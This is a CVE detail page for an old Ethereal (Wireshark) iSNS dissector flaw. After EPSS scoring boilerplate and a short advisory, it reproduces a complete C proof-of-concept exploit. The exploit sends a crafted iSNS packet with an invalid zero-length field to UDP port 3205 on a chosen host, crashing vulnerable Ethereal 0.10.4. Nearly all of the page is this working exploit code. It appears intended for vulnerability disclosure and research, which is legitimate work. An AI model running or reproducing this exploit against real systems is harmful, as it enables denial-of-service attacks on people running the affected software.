CVE-2004-0633 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/10672/info Ethereal 0.10.5 has been released to address multiple vulnerabilities, including an iSNS protocol dissector vulnerability, a SMB protocol dissector vulnerability, and a SNMP protocol dissector vulnerability. These issues are due to a failure of the application to properly handle malformed packets. Successful exploitation of these issues will allow an attacker to cause a denial of service condition in the affected application, it has also been reported that these issues may facilitate arbitrary code execution. /* * Ethereal network protocol analyzer * iSNS Dissector zero-length payload * denial of service vulnerability * proof of concept code * version 1.0 (Aug 05 2004) * CVE ID: CAN-2004-0633 * * by Remi Denis-Courmont < exploit at simphalampin dot com > * http://www.simphalempin.com/dev/ * * Vulnerable: * - Ethereal v0.10.4 * * Not vulnerable: * - Ethereal v0.10.3 and earlier * - Ethereal v0.10.5 * * The code above should cause Ethereal (or tethereal -V) to abort. */ /***************************************************************************** * Copyright (C) 2004 Remi Denis-Courmont. All rights reserved. * * * * Redistribution and use in source and binary forms, with or without * * modification, are permitted provided that the following conditions * * are met: * * 1. Redistributions of source code must retain the above copyright notice, * * this list of conditions and the following disclaimer. * * 2. Redistribution in binary form must reproduce the above copyright * * notice, this list of conditions and the following disclaimer in the * * documentation and/or other materials provided with the distribution. * * * * The author's liability shall not be incurred as a result of loss of due * * the total or partial failure to fulfill anyone's obligations and direct * * or consequential loss due to the software's use or performance. * * * * The current situation as regards scientific and technical know-how at the * * time when this software was distributed did not enable all possible uses * * to be tested and verified, nor for the presence of any or all faults to * * be detected. In this respect, people's attention is drawn to the risks * * associated with loading, using, modifying and/or developing and * * reproducing this software. * * The user shall be responsible for verifying, by any or all means, the * * software's suitability for its requirements, its due and proper * * functioning, and for ensuring that it shall not cause damage to either * * persons or property. * * * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * * * * The author does not either expressly or tacitly warrant that this * * software does not infringe any or all third party intellectual right * * relating to a patent, software or to any or all other property right. * * Moreaver, the author shall not hold someone harmless against any or all * * proceedings for infringement that may be instituted in respect of the * * use, modification and redistrbution of this software. * *****************************************************************************/ #include <string.h> #include <stdio.h> #ifndef WIN32 # include <sys/types.h> # include <unistd.h> # include <sys/socket.h> # include <netdb.h> #else # include <winsock2.h> # include <ws2tcpip.h> # define close( fd ) closesocket_clean (fd) # define perror( str ) (void)fprintf (stderr, "%s: Winsock error %d\n", \ str, WSAGetLastError ()) # undef gai_strerror # define gai_strerror( i ) gai_strerror_does_not_link (i) static const char * gai_strerror_does_not_link (int errval) { static char buf[32]; sprintf (buf, "Winsock error %d", errval); return buf; } /* Winsock has the foolish habit of resetting error value to zero */ static int closesocket_clean (int fd) { int errval, retval; errval = WSAGetLastError (); retval = closesocket (fd); if (retval == 0) WSASetLastError (errval); return retval; } #endif static const char packet[] = /* iSNS header */ "\x00\x01" /* Version */ "\x00\x01" /* Function ID */ "\x00\x1c" /* Length */ "\x04\x00" /* Flags: First PDU */ "\x00\x00" /* Transaction ID */ "\x00\x00" /* Sequence ID */ /* iSNS payload */ "\x00\x00\x00\x03" "\x00\x00\x00\x00" /* Length (invalid) */ ; static int proof (const char *target) { int fd; struct addrinfo *res, *ptr, hints; memset (&hints, 0, sizeof (hints)); hints.ai_socktype = SOCK_DGRAM; /* 'd work with TCP too, but UDP is much more straight-forward */ fd = getaddrinfo (target, "3205", &hints, &res); if (fd) { fprintf (stderr, "%s: %s\n", target, gai_strerror (fd)); return -1; } fd = -1; for (ptr = res; ptr != NULL && fd == -1; ptr = ptr->ai_next) { fd = socket (ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (fd == -1) continue; if (connect (fd, ptr->ai_addr, ptr->ai_addrlen)) { close (fd); fd = -1; } } freeaddrinfo (res); if (fd == -1) perror (target); else { size_t len; len = sizeof (packet) - 1; if (send (fd, packet, len, 0) == len) { puts ("Packet sent!"); close (fd); return 0; } perror ("Packet sending error"); close (fd); } return -1; } static int usage (const char *path) { fprintf (stderr, "Usage: %s <hostname/IP>\n", path); return 2; } int main (int argc, char *argv[]) { int retval; puts ("Ethereal iSNS dissector zero-length vulnerability\n" "proof of concept code\n" "Copyright (C) 2004 Remi Denis-Courmont " "<\x65\x78\x70\x6c\x6f\x69\x74\x40\x73\x69\x6d\x70" "\x68\x61\x6c\x65\x6d\x70\x69\x6e\x2e\x63\x6f\x6d>\n"); #ifdef WIN32 WSADATA wsaData; if (WSAStartup (0x202, &wsaData) || wsaData.wVersion != 0x202) { fputs ("Winsock version mismatch!\n", stderr); return 2; } #endif if (argc != 2) return usage (argv[0]); retval = proof (argv[1]) ? 1 : 0; #ifdef WIN32 WSACleanup (); #endif return retval; }